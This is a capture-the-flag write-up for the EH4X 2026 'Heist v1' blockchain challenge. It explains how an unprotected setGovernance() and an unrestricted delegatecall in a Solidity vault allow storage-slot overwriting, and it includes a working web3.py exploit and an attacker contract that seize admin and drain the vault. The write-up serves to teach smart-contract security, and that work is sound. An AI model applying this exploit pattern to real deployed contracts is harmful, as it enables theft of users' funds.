Heist V1

Eh4x CTFby smothy

Heist v1 - EH4X CTF 2026

Category: Blockchain | Points: 500 | Solves: 0 (first blood baby)

the government has released a new vault and now we can add proposals too , what?? , drain the VAULT

nc 135.235.193.111 1337


Initial Recon - What Are We Working With?

Alright so we get two Solidity files and a netcat endpoint. Classic blockchain CTF setup. Let's see what we're dealing with.

Connecting to the nc server gives us:

RPC URL : http://135.235.193.111:XXXXX Vault : 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 Governance : 0x5FbDB2315678afecb367f032d93F642f64180aa3 Player Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d

Standard Hardhat/Anvil local chain (chain ID 31337). We get a player account with 10000 ETH (we're rich... on a test chain lol). The vault holds 5 ETH and we need to drain it to zero.

Goal: make isSolved() return true → vault balance must be 0.


Reading the Contracts

Vault.sol

solidity
contract Vault {
    bool public paused;        // slot 0 (1 byte)
    uint248 public fee;        // slot 0 (31 bytes, packed with paused)

    address public admin;      // slot 1
    address public governance; // slot 2

    constructor() payable {
        paused = true;
        admin = msg.sender;
    }

    function execute(bytes calldata data) public {
        (bool ok,) = governance.delegatecall(data);
        require(ok);
    }

    function withdraw() public {
        require(!paused, "paused");
        require(msg.sender == admin, "not admin");
        payable(msg.sender).transfer(address(this).balance);
    }

    function setGovernance(address _g) public {
        governance = _g;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }

    function isSolved() public view returns(bool) {
        return address(this).balance == 0;
    }
}

Governance.sol

solidity
contract Governance {
    uint256 public proposalCount;

    function setProposal(uint256 x) public {
        proposalCount = x;
    }
}

Finding the Bug - The Spidey Sense is Tingling

OK so to drain the vault we need to call withdraw(). But that has two guards:

require(!paused, "paused"); // vault is paused on deploy require(msg.sender == admin, "not admin"); // admin = deployer, not us

So we need to:

  1. Unpause the vault
  2. Become admin

Now let's look at the sus parts of this contract...

Sus Thing #1 - setGovernance() has ZERO access control

solidity
function setGovernance(address _g) public {
    governance = _g;
}

Bro literally anyone can set the governance address. No onlyAdmin, no require, nothing. Zero access control.

Sus Thing #2 - execute() uses delegatecall

solidity
function execute(bytes calldata data) public {
    (bool ok,) = governance.delegatecall(data);
    require(ok);
}

This is the big one. If you don't know what delegatecall does, buckle up because this is where it gets spicy.


The delegatecall Trick - Understanding the Core Vuln

Normal call vs delegatecall

With a normal call, when Contract A calls Contract B:

  • Code runs in Contract B's context
  • Storage changes happen in Contract B
  • msg.sender = Contract A

With delegatecall, when Contract A delegatecalls Contract B:

  • Code from B runs in Contract A's context
  • Storage changes happen in Contract A (!!!)
  • msg.sender is preserved (original caller)

Think of it like this:

call vs delegatecall

So when the Vault does governance.delegatecall(data), whatever the governance contract writes to its storage slots actually writes to the Vault's storage slots.

Solidity Storage Layout 101

Solidity stores variables in 32-byte "slots" starting from slot 0:

Storage Layout

When the Vault does delegatecall to Governance and Governance writes to proposalCount (its slot 0), it actually writes to the Vault's slot 0 — which is paused + fee!

So calling setProposal(0) via execute() would set the Vault's slot 0 to zero, meaning paused = false. That's half the puzzle.

But we still need to overwrite slot 1 (admin) with our address. The Governance contract only touches slot 0. We need something more powerful.


The Attack Plan

Since setGovernance() lets us point to ANY contract, and execute() will delegatecall it with ANY calldata... we just deploy our own malicious contract!

Attack Plan

The key insight: our Attack contract's storage layout must match the Vault's. When delegatecall runs pwn(), it writes paused = false to slot 0 (Vault's slot 0) and admin = msg.sender to slot 1 (Vault's slot 1). Since delegatecall preserves msg.sender, the admin gets set to the player's address.


The Exploit

python
from web3 import Web3
from solcx import install_solc, compile_source

# Connect to the instance
w3 = Web3(Web3.HTTPProvider(rpc_url))
player = w3.eth.account.from_key(player_key)

# Our malicious contract
attack_source = '''
pragma solidity ^0.8.20;
contract Attack {
    bool public paused;       // matches Vault slot 0
    uint248 public fee;       // matches Vault slot 0 (packed)
    address public admin;     // matches Vault slot 1

    function pwn() public {
        paused = false;       // overwrites Vault's paused
        admin = msg.sender;   // overwrites Vault's admin
    }
}
'''

# Compile & deploy attack contract
compiled = compile_source(attack_source, solc_version="0.8.20")
attack_data = compiled["<stdin>:Attack"]
AttackContract = w3.eth.contract(abi=attack_data["abi"], bytecode=attack_data["bin"])
# ... deploy tx ...

# Step 1: Point governance to our contract (no access control!)
vault.functions.setGovernance(attack_addr).transact()

# Step 2: delegatecall pwn() through execute - overwrites Vault storage
pwn_calldata = attack_contract.encode_abi(abi_element_identifier="pwn")
vault.functions.execute(bytes.fromhex(pwn_calldata[2:])).transact()

# Step 3: Now we're admin and vault is unpaused - drain it
vault.functions.withdraw().transact()

# vault.isSolved() == true

Running it:

[*] Vault balance: 5000000000000000000 wei [*] Vault paused: True [*] Vault admin: 0xf39Fd6... (deployer, not us) [+] Attack contract deployed [+] setGovernance ✓ [+] execute(pwn) ✓ [*] After delegatecall: Vault paused: False ← unpaused! Vault admin: 0x70997... ← that's us now! [+] withdraw ✓ [*] Vault balance: 0 wei ← drained! [*] Vault solved: True FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

Takeaways / What We Learned

1. delegatecall is Dangerous

delegatecall is one of the most powerful (and most abused) opcodes in the EVM. It's used legitimately in proxy patterns, but if you let anyone control what gets delegatecalled or where it points to, it's game over. The attacker gets full write access to your contract's storage.

Real world example: The Parity Wallet Hack (2017) used a similar delegatecall vulnerability to steal ~$30M in ETH.

2. Access Control Matters

setGovernance() had zero access control. In a real contract this would be restricted to an owner/admin/DAO. One missing require statement = entire vault drained.

3. Storage Layout in delegatecall

When using delegatecall, the called contract's code operates on the caller's storage. If the storage layouts don't match (or if an attacker crafts a matching layout), variables get overwritten in unexpected ways. This is why proxy patterns need to be very careful about storage collisions.

4. The Three Bug Chain

The full exploit required chaining three issues:

  • No access control on setGovernance() → we can point to any contract
  • Unrestricted delegatecall in execute() → arbitrary code runs in Vault's context
  • Storage slot collision → our contract's writes map to Vault's critical variables

None of these alone would drain the vault. Together = GG.


Further Reading

If you want to go deeper on these topics:


Flag: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

gg ez... just kidding this was actually a nice clean challenge. props to stapat for the design.